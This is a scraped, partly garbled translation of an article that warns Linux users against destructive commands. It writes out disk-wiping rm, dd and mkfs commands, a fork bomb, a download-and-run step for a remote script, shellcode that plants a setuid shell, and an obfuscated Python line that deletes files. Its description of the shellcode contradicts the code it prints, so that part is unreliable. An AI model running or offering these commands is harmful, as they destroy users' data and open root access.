Never run a Linux command

Source: Internet
Author: User

The commands listed in this article must never be run, even if you're curious, unless you're running on a virtual machine (you can restore the problem) because they will actually destroy your system. So it is good practice not to execute commands under advanced administrative privileges such as root .

  system will be like  Windows< Span class= "Apple-converted-space" >  so popular, with more and more people, including the computer is not very familiar with people, the purpose of this article is to tell you: Linux gives you the greatest degree of freedom at the same time, It also makes it easier to destroy the system, and if you don't understand the meaning of certain commands, download the , or be tricked into running certain commands that can easily make you cry It's too late.

security , just to explain that in front of people who do not know Linux, and very careless, Linux is very security . Windows  or Linux, the person itself is the biggest insecurity factor.

sudo rm-rf/delete all files of root partition
sudo rm-rf. Delete all files in the current directory
sudo rm-rf * ditto
RM-RF * or RM-RF * * Ibid
rm-rf ~ /& Delete the root partition and home directory, even if you are not root, the home directory is not spared.

sudo mkfs.xxxx

DD is a powerful IO input/output orientation tool that, if used improperly, is very disruptive, not just the current partition, the current system, and sometimes the entire hard drive.

sudo dd If=/dev/zero OF=/DEV/SDA all hard drives are zeroed.
sudo dd if=/dev/sda of=/dev/sdb overwrites the contents of the second block with the contents of the first hard drive.
sudo dd if=something OF=/DEV/SDA to write junk data to the hard drive.

Any_command >/dev/sda destroying hard drives with random data

for k command to open a subprocess if  < Span style= "text-decoration:underline;" >for K is placed in an infinite loop, and eventually the child process runs out of all memory resources:

:() {: |:&};:

This unintelligible symbol, can let  Shell   not stop the fork process, and finally lead to memory exhaustion, have to restart, this is not a bug, just  Shell   statements are deliberately written in shorthand form. Similarly:

Fork while Fork

Sometimes, a compressed package is also a source of destruction ~

Some compression packages require you to extract to a directory that already exists in a system, you should be particularly careful, the compression package may have thousands of small files, with a variety of file names to try to overwrite your existing files.

Some compressed packets look small, but extracting them is a gigabyte of junk data that will flood your hard drive.

, the script, also has the danger of containing malicious commands, and cannot be arbitrarily executed:

wget [Url]http://some_place/some_file[/url]
Sh./some_file
wget [url]http://hax018r.org/ Malicious-script[/url]
Sh./malicious-script

Download the script to ensure that the source is normal, and if you have the ability to read its code . Even if the source code of the program, also do not casually compilation Execute:

Char esp[] __attribute__ ((section (". Text"))/* E.S.P
Release */
= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68" br> "xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
"Xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
" x56x04xf7x56x08xf7x56x0cx83xc4x74x56 "
" x8dx73x08x56x53x54x59xb0x0bxcdx80x31 "
" xc0x40xebxf9xe8xbdxffxffxffx2fx62x69 "
" x6ex2fx73x68x00x2dx63x00 "
" cp-p/ bin /sh/tmp/.beyond; chmod 4755
/tmp/.beyond; ";

above looks like a bunch of meaningless 16 data, if someone tells you, run the program you can not enter the password to get the root of the system, you can not trust him, the above program is actually running "RM-RF ~/&".

python   a class of scripting languages, can also be used to sabotage:

python-c ' import os; Os.system ("". Join ([Chr (Ord (i)-1) for I in "sn!. sg! "])) '

This program will actually execute RM-RF *, perhaps you are surprised at the end of the program above "sn!." sg! "What does that mean, is actually RM-RF * Every letter of the next!"

So how do we avoid running malicious programs?

First do not use root as a daily user, the above program, if the current user is not root, the scope of the damage will be much smaller.

Second, you need to know what commands are used, do not know the commands do not run. Run potentially destructive programs and be careful to check your input.

The third is to ensure that the source of software and scripts are formal.

The last point, though more negative, is really important:

Back up your data often!!

Transfer from---http://www.07net01.com/linux/qianwanqianwanbuyaoyunxingde_Linux_mingling_5110_1340789738.html

Never run a Linux command

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.